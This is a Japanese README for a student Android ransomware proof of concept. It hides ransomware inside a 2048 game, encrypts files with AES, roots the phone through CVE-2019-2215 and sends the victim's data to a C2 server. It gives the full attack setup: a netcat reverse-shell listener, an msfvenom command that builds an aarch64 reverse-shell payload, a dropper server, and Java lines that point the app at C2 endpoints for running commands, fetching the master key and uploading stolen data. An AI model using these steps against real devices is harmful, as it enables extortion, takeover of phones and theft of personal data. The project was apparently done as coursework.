
Androidランサムウェア開発 - AES256暗号化 + CVE-2019-2215(リバースルートシェル) + データ窃取
このプロジェクトは教育目的のみです。このプロジェクトは、rkshrksh/2048-Game と kangtastic/cve-2019-2215 のコードを利用しています。
このプロジェクトは、Singapore Institute of Technology(シンガポール工科大学)のモバイルセキュリティモジュールの一部です。プロジェクトは6週間以内で行われ、悪意のあるAndroidアプリケーションを開発することを目的としていました。これにより、Android OSにセキュリティメカニズムがどのように実装されているか、またOWASP Mobile Top 10:2017 M8 - Code Tampering(コード改ざん)をどのように実行できるかを学ぶことができました。
このプロジェクトは、AES暗号化を利用し、cve-2019-2215を悪用し、感染したデバイスからデータを外部送信する、独自に作成したランサムウェアを紹介する概念実証(PoC)です。
Android 10およびGoogle Pixel 2 XLでテストされています。
├── 2048-Game // Android Project Folder
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modified cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper server directory
│ ├── cve-2019-2215 // shells.zip content before zipping
│ ├── dropper_server.py // Dropper server program
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat windows binary - for Reverse shell listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip that is hosted in root of dropper server
│ └── venv
└── test_images // test_images for easy adb push <image.ext> /sdcard/Pictures
このテストでは、被害者の端末とC2サーバーが同じサブネットワーク内にあることを確認してください(そうでない場合は、C2をパブリックインターネット上でホストしてください)。C2サーバーには、dropper/dropper_server.py にある3つのエンドポイントがあります。
nc -lvnp 1337 # Ideally this should be the same IP as the dropper server
# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv
# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator
# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip を /dropper に配置
Java クラス
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32